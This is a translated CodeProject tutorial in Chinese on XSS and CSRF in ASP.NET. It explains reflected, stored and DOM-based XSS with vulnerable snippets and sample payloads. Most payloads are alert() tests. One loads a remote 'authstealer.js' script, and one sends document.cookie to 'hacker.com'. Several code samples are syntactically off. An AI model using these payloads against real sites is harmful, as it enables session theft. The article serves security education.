65.9K
CodeProject 正在变化。 阅读更多。
Home

ASP.NET Web 应用程序中防止 XSS 和 CSRF 攻击的指南和工具集 - 第一部分

starIconstarIconstarIconstarIconstarIcon

5.00/5 (1投票)

2018 年 1 月 13 日

CPOL

7分钟阅读

viewsIcon

10255

本文的目的是研究和开发一套最佳实践和指南,以防止 ASP.NET Web 应用程序中的跨站脚本 (XSS) 和跨站请求伪造 (CSRF) 攻击。

引言

安全应用程序设计在软件设计和开发中起着重要作用。当今存在各种各样的软件系统。例如:Web 应用程序、桌面应用程序、移动应用程序和家庭自动化系统。

安全软件设计对任何类型的应用程序都非常重要。此外,随着网络和互联网技术的进步,目前大多数软件系统都暴露在互联网上。因此,软件系统被非法使用的可能性增加。存在各种用于安全软件设计和实践的原则和技术。

跨站脚本是当今网站安全中的一个主要问题。OWASP 项目列出了 80 多个可通过跨站脚本攻击利用的向量。此外,跨站脚本攻击名列 OWASP 项目(OWASP)十大 Web 漏洞之一。

跨站脚本最初缩写为 CSS,但为了与层叠样式表 (CSS) 区分开,它在安全领域被重命名为 XSS。跨站脚本攻击通常被描述为黑客通过 HTML 注入篡改网页,并插入恶意脚本来控制用户浏览网页时的 Web 浏览器。

跨站请求伪造 (CSRF) 是另一种类型的攻击,它也是当今网站安全的主要威胁。CSRF 利用用户对网站的信任,在网站上执行未经授权的请求。

ASP.NET 是微软提供的 Web 应用程序开发框架。它是 Microsoft .NET 框架的一部分。ASP.NET 包含一些内置功能,开发人员可以通过更改配置设置来启用这些功能,以防止 XSS 和 CSRF 攻击。除了这些内置功能外,我们还可以通过编程实现其他级别的控件。

我们可以使用两种主要方法来防止 Web 应用程序中的 XSS 攻击。第一种是验证用户输入,第二种是编码 HTML 输出。ASP.NET 提供了多种方法来验证用户输入。ASP.NET 有不同的方法可以在将 HTML 输出发送到客户端浏览器之前对其进行编码。

最新版本的 ASP.NET 提供了一个内置功能来防止 Web 应用程序中的 CSRF 攻击。除了这个功能之外,ASP.NET 还允许通过编程实现其他方法来防止 CSRF 攻击。

背景

跨站脚本攻击是 Web 应用程序中最危险的威胁之一。Open Web Application Security Project (OWASP) TOP 10 重复将 XSS 列在其列表的顶部。跨站脚本最初缩写为 CSS。但为了与层叠样式表区分开,跨站脚本在安全领域被重命名为 XSS。

跨站脚本攻击通常被描述为黑客将脚本代码片段注入用户浏览器,并试图控制用户的 Web 浏览器。

什么是 XSS – 一个简单的代码示例?

考虑下面的 ASP.NET 服务器端代码。

//Capture parameter comes as a query string parameter
$input =  Request.QueryString([“userinput”]);

//Display captured parameter in browser.
Response.Write( “<Div>”.$input .”<Div>”);

基本上,上面的 ASP.NET 脚本代码用于将查询字符串数据参数(userinput)直接显示在 Web 浏览器中。我们可以使用类似的以下内容将查询字符串参数传递给上述页面。

http://testpage.php?userinput=Hello World  //pass  “Hello World“ as query string parameter 

然后,我们可以看到如下网站输出

”Hello World”

我们可以发送 JavaScript 代码在用户浏览器中执行,而不是发送上面的字符串参数作为 userinput 查询字符串变量。

http:://testpage.php?userinput=<script>alert(/xss/)</script>

如果我们直接将查询字符串参数显示到 Web 浏览器,脚本代码将在用户浏览器中执行并显示消息“xss”。

基本上,我们可以看到一种在用户浏览器中执行恶意脚本的方法。这个脚本是为了显示一条消息。但是,使用更高级的脚本代码,我们可以在用户不知情的情况下控制用户的浏览器行为。这种漏洞被称为跨站脚本攻击 (XSS)。

XSS 的危险之处在于脚本在浏览器中执行所造成的损害,以及在用户未经同意的情况下执行以下任务。

  1. 窃取客户端浏览器中的 Cookie
  2. 重定向到恶意网站
  3. 篡改网站
  4. 劫持浏览器
  5. 记录按键
  6. 对他人发起进一步攻击
  7. 访问本地文件系统

在信息安全领域,可以识别出三种跨站脚本攻击。这些攻击如下

  1. 反射型 XSS 攻击
  2. 存储型 XSS 攻击
  3. DOM 型 XSS 攻击

反射型 XSS 攻击

反射型 XSS 攻击是一种非持久性 XSS 攻击,它通过将恶意脚本从 Web 服务器反射到受害者 Web 浏览器来发生。

恶意脚本将通过超链接激活,超链接将向 Web 服务器发起请求,该请求具有执行恶意脚本的漏洞。漏洞通常是由于传入请求未得到充分清理而导致的,这将导致 Web 应用程序功能的操纵和恶意脚本的激活。

通常,链接的分发是通过将链接嵌入电子邮件或其他第三方网站来实现的。链接将添加到锚文本的内部,文本的放置方式会鼓励用户点击。攻击者主要使用社交媒体网站来制作此类链接。这类攻击在信息安全领域非常普遍,并且可以通过采取适当的措施轻松预防。

存储型 XSS 攻击

在这类 XSS 攻击中,攻击者试图将恶意脚本代码存储在受害者网站的服务器文件系统或数据库中。为此,攻击者首先需要找到 Web 应用程序中的漏洞,然后注入将存储在服务器上的脚本代码。此类型的攻击会将恶意脚本存储在受害者的 Web 服务器上。该攻击被称为存储型 XSS 攻击。与其他类型的 XSS 攻击相比,这类攻击的稳定性很高。因为攻击者试图将恶意脚本存储在 Web 服务器文件系统或数据库中。如果攻击成功,用户每次访问网站时都会执行存储的 XSS 脚本。

这类攻击的主要原因是存储用户提供的数据而没有任何输入验证,并在显示存储数据回浏览器时不使用适当的编码技术。

DOM 型 XSS 攻击

DOM 型 XSS 攻击会影响浏览器 DOM,并执行客户端脚本(如 JavaScript)来操纵浏览器文档对象模型。XSS 载荷存在于客户端浏览器中,我们在 Web 响应和请求中都无法观察到 XSS 载荷。

在恶意脚本在客户端浏览器中执行后,攻击者可以利用 DOM 型 XSS 漏洞窃取 cookie 并更改网页行为。

无法使用服务器端 XSS 过滤器来阻止 DOM 型 XSS 攻击。

Using the Code

请参阅下面的 URL,它将查询字符串参数“p”传递给 Web 请求。

(到网页 URL http://mytestpage.aspx)

http://mytestpage.aspx?p=param

上面的链接可以放置在网页内容的超链接中。攻击者可以将参数“param”替换为如下的恶意 JavaScript 代码

http://mytestpage.aspx?p=<script type="text/javascript">alert('XSS'); </script>  

在更高级的攻击中,我们可以引用如下所示的 JavaScript 编码库。在下面的例子中,恶意脚本代码引用了一个位于不同站点的 JavaScript 代码库。

http://mytestpage.aspx?p=<script> src="http://othersite.com/authstealer.js </script>"  

在上面的例子中,受害者浏览器将加载位于“othersite.com”的 JavaScript 代码“authstealer.js”,并在受害者 Web 浏览器中执行。

这类攻击的主要原因是直接从用户输入数据构建网页内容。例如,有些网站允许用户发布问题、反馈、文章等。黑客可以利用这些类型的网站,并将恶意脚本代码和不安全的 HTML 标签作为用户输入的一部分进行输入。如果网站在没有任何验证或数据编码的情况下直接将这些用户输入数据回显到用户浏览器,则恶意脚本代码可以在用户浏览器上执行,并在用户不知情的情况下控制浏览器行为。

下面的 JavaScript 代码使用 DOM 对象模型显示一个查询字符串参数。

下面的代码不在服务器端执行,而是完全在客户端执行,通过修改浏览器输出。

<html>

<head>

</head>

<body>

<script> var pos=document.URL.indexOf("input=")+6; //捕获当前 URL

var userInput=document.URL.substring(pos,document.URL.length); //捕获查询字符串参数

document.write(unescape(userInput)); //在网站上显示
</script>

</body>

</html>

攻击者可以通过注入 JavaScript 代码来像下面的代码一样请求上述页面。

http://mytestsite.com/testpage.aspx?input =<script>alert(“DOM Modified”)</script>

由于我们的示例代码直接在浏览器中显示查询字符串,这将导致作为查询字符串数据一部分嵌入的恶意 JavaScript 代码执行。

任何可以包含 JavaScript 代码的 HTML 属性都可以成为 XSS 攻击的载体。

示例

 <body onload=alert (‘attack’)>  (or any other event)
 <img src=“javascript:alert(‘attack’)>
 <META HTTP-EQUIV=“refresh” CONTENT=“0;   url=data:tex/html;

 <script>alert(‘attack’) < /script>

<img src=“javascript:alert(‘XSS’);”>
–<a href=“javascript: alert(‘XSS’);”>Click here to win</A>

<input type=“button” value=“submit”
onclick=“parent.location.reload (‘http://hacker.com? c’=encodeURI(document.cookie));”>

关注点

Web 应用程序开发人员和最终用户都可以采取以下预防措施来最小化或迁移 XSS 攻击。

  1. 在开发网站时,验证 Web 请求和响应。
  2. 用户在点击社交媒体网站和网站常见页面上的链接时需要保持警惕。
  3. 谨慎处理来自未知用户的电子邮件。
  4. 在 Web 应用程序防火墙中使用基于签名的安全规则。

在我的下一篇文章中,我将详细介绍这个主题。

© . All rights reserved.